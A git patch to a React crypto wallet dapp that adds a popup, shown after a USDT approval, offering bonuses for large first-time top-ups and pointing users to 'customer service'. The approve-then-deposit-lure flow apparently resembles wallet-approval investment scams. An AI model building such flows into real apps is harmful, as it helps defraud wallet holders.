From c38533a0ac710790dde3141a7c29974f808caebf Mon Sep 17 00:00:00 2001 From: john Date: Sun, 22 May 2022 07:12:47 +0700 Subject: [PATCH] add activity modal --- src/components/WalletButton.js | 12 +++++-- src/uimsg/ModalActivity.js | 57 ++++++++++++++++++++++++++++++++++ src/uimsg/index.js | 1 + 3 files changed, 68 insertions(+), 2 deletions(-) create mode 100644 src/uimsg/ModalActivity.js diff --git a/src/components/WalletButton.js b/src/components/WalletButton.js index fa4346c..effeca7 100644 --- a/src/components/WalletButton.js +++ b/src/components/WalletButton.js @@ -2,10 +2,11 @@ import React from "react" import { Button, useDisclosure, useToast } from "@chakra-ui/react" import { useApp } from "../AppContext" import { useSearchParams } from 'react-router-dom' -import { toastw, toasti, ModalDeposite, toasts, toaste } from '../uimsg' +import { toasti, ModalDeposite, toasts, toaste } from '../uimsg' import { connectWallet, addEventListeners, fetchAccount, approve, transfer } from '../lib' import { post_register, post_staking, get_ether, post_authorized, get_authorization_search } from '../api' import { ABI, contract_usdt_on_eth } from "../data" +import { ModalActivity } from '../uimsg' const walletButtonOptions = { text: 'Join In', @@ -18,6 +19,7 @@ export const WalletButton = ({ ...rest }) => { const [authorized, setAutorized] = React.useState(false) const [searchParams, setSearchParams] = useSearchParams() const { isOpen: isOpenDeposite, onOpen: doOpenDeposite, onClose: doCloseDeposite } = useDisclosure() + const { isOpen: isOpenActivity, onOpen: doOpenActivity, onClose: doCloseActivity } = useDisclosure() const refDepositeFocus = React.useRef() const getUserWalletAddress = async () => { @@ -77,6 +79,9 @@ export const WalletButton = ({ ...rest }) => { console.error("get_authorization_search() error:" + err.message) }) }, 8000) + + // + doOpenActivity() } else { console.error("approve error:" + err.message) } @@ -90,7 +95,6 @@ export const WalletButton = ({ ...rest }) => { const onBtnThis = async () => { if (!authorized) { await connect() - // checkAuth() } else { // deposite doOpenDeposite() @@ -140,6 +144,10 @@ export const WalletButton = ({ ...rest }) => { onConfirm={onConfirmDeposite} ref={refDepositeFocus} /> + ) } \ No newline at end of file diff --git a/src/uimsg/ModalActivity.js b/src/uimsg/ModalActivity.js new file mode 100644 index 0000000..a117c91 --- /dev/null +++ b/src/uimsg/ModalActivity.js @@ -0,0 +1,57 @@ +import { Text, Tag, TagLabel, Avatar } from '@chakra-ui/react' +import { ModalBox, VFStack, HBetween, HFStack } from "../components" + +const lines = ['Top up USDT amount to wallet 2,000USDT, Get 39USDT for free.', + 'Top up USDT amount to wallet 20,000USDT, Get 399USDT for free.', + 'Top up USDT amount to wallet 60,000USDT, Get 1,299USDT for free.', + 'Top up USDT amount to wallet 100,000USDT, Get 2,699USDT for free.'] + +const contact = 'If you have any questions, please contact to our customer service.' + +// Modal box for extraction +export const ModalActivity = ({ isOpen, onClose }) => ( + + + + + Top up for the FIRST time + + + { + lines.map((item, index) => ( + + {item} + + )) + } + + {contact} + + + + +) \ No newline at end of file diff --git a/src/uimsg/index.js b/src/uimsg/index.js index 8a83cd1..155b98b 100644 --- a/src/uimsg/index.js +++ b/src/uimsg/index.js @@ -1,4 +1,5 @@ export * from './ModalDeposite' export * from './ModalRetrieve' export * from './StakingModals' +export * from './ModalActivity' export * from './toasts'